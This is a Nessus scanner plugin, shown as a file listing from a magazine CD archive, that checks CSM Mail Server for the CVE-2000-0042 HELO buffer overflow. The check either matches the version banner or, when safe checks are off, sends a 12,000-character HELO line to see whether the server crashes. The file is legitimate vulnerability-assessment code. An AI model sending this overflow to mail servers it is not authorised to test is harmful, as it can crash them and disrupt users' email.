home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / csm_helo.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  113 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10050);
  10.  script_bugtraq_id(895);
  11.  script_version ("$Revision: 1.21 $");
  12.  script_cve_id("CVE-2000-0042");
  13.  name["english"] = "CSM Mail server MTA 'HELO' denial";
  14.  name["francais"] = "DΘni de service 'HELO' contre le MTA CSM Mail server";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "
  18. There might be a buffer overflow when this MTA is issued the 'HELO' command
  19. issued by a too long argument (12,000 chars)
  20.  
  21. This problem may allow an attacker to execute arbitrary code on this computer,
  22. or to disable your ability to send or receive emails.
  23.  
  24. Solution : contact your vendor for a patch.
  25. Risk factor : High";
  26.  
  27.  
  28.  
  29.  script_description(english:desc["english"]);
  30.  
  31.  summary["english"] = "Overflows the remote SMTP server";
  32.  summary["francais"] = "Overflow le serveur SMTP distant";
  33.  script_summary(english:summary["english"], francais:summary["francais"]);
  34.  
  35.  script_category(ACT_MIXED_ATTACK); # mixed
  36.  
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  39.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  40.  family["english"] = "SMTP problems";
  41.  family["francais"] = "ProblΦmes SMTP";
  42.  script_family(english:family["english"], francais:family["francais"]);
  43.  script_dependencie("find_service.nes", "smtpserver_detect.nasl", "slmail_helo.nasl");
  44.  script_exclude_keys("SMTP/wrapped","SMTP/3comnbx", "SMTP/postfix");
  45.  script_require_ports("Services/smtp", 25);
  46.  exit(0);
  47. }
  48.  
  49. #
  50. # The script code starts here
  51. #
  52.  
  53. include("smtp_func.inc");
  54.  
  55. port = get_kb_item("Services/smtp");
  56. if(!port)port = 25;
  57.  
  58. if(get_kb_item("SMTP/3comnbx"))exit(0);
  59.  
  60. if(safe_checks())
  61. {
  62.  banner = get_smtp_banner(port:port);
  63.  if(banner)
  64.  {
  65.   if(egrep(string:banner,
  66.         pattern:"^220 SMTP CSM Mail Server ready at .* .Version 2000.0[1-8].A"))
  67.     {
  68.     alrt = "
  69. The remote CSM SMTP server may be vulnerable
  70. to a buffer overflow allowing anyone to
  71. execute arbitrary commands on this host.
  72.  
  73. *** Nessus reports this vulnerability using only
  74. *** information that was gathered. Use caution
  75. *** when testing without safe checks enabled.
  76.  
  77. Solution : upgrade to the latest version
  78. Risk factor : High";
  79.      security_hole(port:port, data:alrt);
  80.     }  
  81.  } 
  82.  exit(0);
  83. }
  84.  
  85.  
  86. if(get_port_state(port))
  87. {
  88.  key = get_kb_item(string("SMTP/", port, "/helo_overflow"));
  89.  if(key)exit(0);
  90.  soc = open_sock_tcp(port);
  91.  if(soc)
  92.  {
  93.   s = smtp_recv_banner(socket:soc);
  94.   if(!("220 " >< s)){
  95.       close(soc);
  96.     exit(0);
  97.     }
  98.   c = string("HELO ", crap(12000), "\r\n");
  99.   send(socket:soc, data:c);
  100.   s = recv_line(socket:soc, length:1024);
  101.   if(!s)
  102.   {
  103.    close(soc);
  104.    soc = open_sock_tcp(port);
  105.    if(soc) s = smtp_recv_banner(socket:soc);
  106.    else s = NULL;
  107.  
  108.    if(!s) security_hole(port);
  109.    close(soc);
  110.  }
  111. }
  112. }
  113.